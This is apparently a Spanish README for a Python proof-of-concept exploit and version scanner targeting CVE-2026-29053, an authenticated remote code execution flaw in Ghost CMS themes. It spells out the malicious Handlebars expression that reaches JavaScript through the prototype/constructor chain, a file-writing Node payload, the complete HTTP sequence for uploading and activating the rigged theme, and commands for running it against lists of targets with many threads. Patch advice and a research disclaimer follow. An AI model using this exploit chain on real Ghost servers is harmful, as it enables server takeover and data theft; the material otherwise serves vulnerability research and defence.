
PoC en Python y escáner de versiones para CVE-2026-29053, un RCE autenticado en Ghost CMS anterior a 6.19.1 mediante plantillas de tema Handlebars maliciosas.
CVE-2026-29053, afecta al sistema de gestión de contenido Ghost construido sobre Node.js. Las versiones desde la 0.7.2 hasta la 6.19.0 son susceptibles a este problema. Un tema malicioso puede explotar esta vulnerabilidad y ejecutar código arbitrario en el servidor que ejecuta Ghost. La severidad de esta vulnerabilidad es alta, con una puntuación CVSS de 7.6. Este problema ha sido parcheado en la versión 6.19.1. Un atacante que explote con éxito esta vulnerabilidad puede obtener acceso no autorizado al servidor y potencialmente tomar el control del mismo. Posteriormente podría usar este acceso para manipular datos, robar información sensible o realizar otras actividades maliciosas. Los productos/servicios afectados son todas las versiones de Ghost desde la 0.7.2 hasta la 6.19.0. Para mitigar este riesgo, los usuarios deben actualizar sus instalaciones de Ghost a la versión 6.19.1 o posterior lo antes posible. Esto garantizará que la vulnerabilidad esté parcheada y ya no represente una amenaza. Si la actualización no es factible en este momento, se recomienda monitorear de cerca cualquier nuevo desarrollo en esta vulnerabilidad y aplicar las medidas de seguridad necesarias para protegerse contra posibles ataques. Este CVE no está actualmente listado en el catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA, lo que significa que no ha sido explotado activamente por actores de amenazas. Sin embargo, los usuarios aún deben priorizar la actualización de sus sistemas para prevenir cualquier riesgo potencial asociado con esta vulnerabilidad.
Un PoC en Python para CVE-2026-29053, una vulnerabilidad de Ejecución Remota de Código en Ghost CMS causada por temas especialmente diseñados que pueden ejecutar JavaScript arbitrario durante el renderizado de plantillas.
Afectado: Ghost
0.7.2hasta6.19.0Ghost CWE-74 — Neutralización Inadecuada de Elementos Especiales en la Salida Utilizada por un Componente Downstream
6.19.1El aviso de Ghost describe el problema como ejecución de código arbitrario a través de temas maliciosos.
Los temas de Ghost utilizan plantillas Handlebars (.hbs).
Una plantilla especialmente diseñada puede abusar de la forma en que Ghost procesa las expresiones Handlebars y acceder a funcionalidad de JavaScript que no debería ser alcanzable desde una plantilla de tema normal.
La parte importante del exploit es la expresión de plantilla:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
El payload se inserta en la plantilla antes de que el tema malicioso sea empaquetado.
La plantilla resultante se sube y se activa a través de la API de Administración de Ghost.
Cuando Ghost posteriormente renderiza la plantilla afectada, la expresión inyectada provoca que el payload de JavaScript se ejecute dentro del proceso del servidor Ghost.
El PoC primero establece una sesión autenticada de Administrador de Ghost.
El endpoint relevante es:
POST /ghost/api/admin/session/
La solicitud generada por el PoC es equivalente a:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost devuelve la cookie de sesión autenticada.
El PoC verifica el HTTP 201 y luego continúa usando el mismo objeto requests.Session().
El exploit crea un archivo ZIP que contiene un tema mínimo de Ghost.
Los archivos importantes son:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
La plantilla maliciosa se escribe en:
page-rce.hbs
El PoC construye el archivo completamente en memoria usando el módulo zipfile de Python.
El package.json generado identifica el archivo como un tema de Ghost:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
La porción vulnerable del tema es la expresión Handlebars dentro de page-rce.hbs.
El PoC genera:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% antes de que el tema sea comprimido.El PoC por defecto utiliza un payload de escritura de archivo como prueba no destructiva de ejecución de código.
Genera JavaScript equivalente a:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
Esto demuestra que el payload se está ejecutando dentro del proceso Node.js de Ghost y puede acceder a la funcionalidad de Node.js.
El PoC también contiene un modo de callback opcional para entornos de laboratorio.
Una vez que el tema malicioso ha sido generado, el PoC lo envía a:
POST /ghost/api/admin/themes/upload/
La solicitud es una subida de formulario multipart.
Conceptualmente:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
El archivo contiene la plantilla .hbs maliciosa descrita anteriormente.
El PoC espera HTTP 200 y extrae el nombre del tema devuelto de la respuesta JSON.
Después de subir el tema, el PoC lo activa con:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
El endpoint de activación se construye dinámicamente:
/ghost/api/admin/themes/{theme_name}/activate/
El exploit se detiene si Ghost no devuelve HTTP 200.
El PoC luego crea una página publicada:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
El código utiliza el slug:
/rce/
Si la página ya existe, intenta recuperar la página existente en su lugar.
El disparador final es simplemente:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
Esto provoca que Ghost renderice el tema activo.
El PoC verifica el HTML devuelto en busca de:
CVE-2026-29053 trigger
para confirmar que page-rce.hbs fue renderizado.
La distinción importante es que el atacante no está simplemente inyectando HTML en una página.
La entrada maliciosa se convierte en parte de una plantilla de tema Handlebars de Ghost.
La plantilla es posteriormente interpretada por el sistema de renderizado del lado del servidor de Ghost.
La expresión diseñada alcanza funcionalidad de JavaScript a través de la cadena de prototipo/construcción:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
JavaScript controlado por el atacante
El JavaScript resultante se ejecuta en el proceso del servidor Ghost.
El PoC demuestra esto accediendo al módulo fs integrado de Node y escribiendo un archivo en el servidor.
Poniendo juntos la interacción HTTP:
1. POST /ghost/api/admin/session/
└── autenticar
2. POST /ghost/api/admin/themes/upload/
└── subir malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── activar tema malicioso
4. POST /ghost/api/admin/pages/
└── crear /rce/
5. GET /rce/
└── renderizar page-rce.hbs malicioso
└── expresión Handlebars
└── ejecución de JavaScript
└── impacto a nivel de SO
El PoC también contiene un escáner.
Solicita:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
La respuesta se analiza en busca de:
{
"site": {
"version": "6.19.0"
}
}
El PoC luego compara la versión contra:
0.7.2 <= version <= 6.19.0
y reporta las versiones coincidentes como vulnerables.
El aviso publicado especifica el rango afectado como >= 0.7.2, < 6.19.1, con 6.19.1 como la versión corregida.
python3 exploit.py --target http://TARGET
La ruta de prueba por defecto es:
/tmp/cve-2026-29053-rce.txt
Puede cambiarse con:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Si la configuración de Ghost ya ha sido completada:
python3 exploit.py --target http://TARGET --skip-setup
Las credenciales pueden proporcionarse usando:
--email
--password
Los objetivos pueden proporcionarse desde un archivo:
python3 exploit.py --file targets.txt
Número de hilos:
python3 exploit.py --file targets.txt --threads 25
El escáner verifica el endpoint del sitio de Administración de Ghost y compara la versión de Ghost reportada contra el rango vulnerable.
La explotación exitosa permite la ejecución arbitraria de JavaScript dentro del proceso del servidor Ghost.
Dependiendo de los privilegios del proceso Ghost y del payload utilizado, esto puede afectar:
El registro CVE publicado califica el problema como alcanzable por red pero requiriendo altos privilegios e interacción del usuario, con alcance cambiado.
Actualizar Ghost a:
6.19.1+
El aviso de vulnerabilidad de Ghost identifica 6.19.1 como la versión parcheada.
No instalar temas no confiables.
Este PoC se proporciona para investigación de vulnerabilidades, pruebas de penetración autorizadas y propósitos educativos.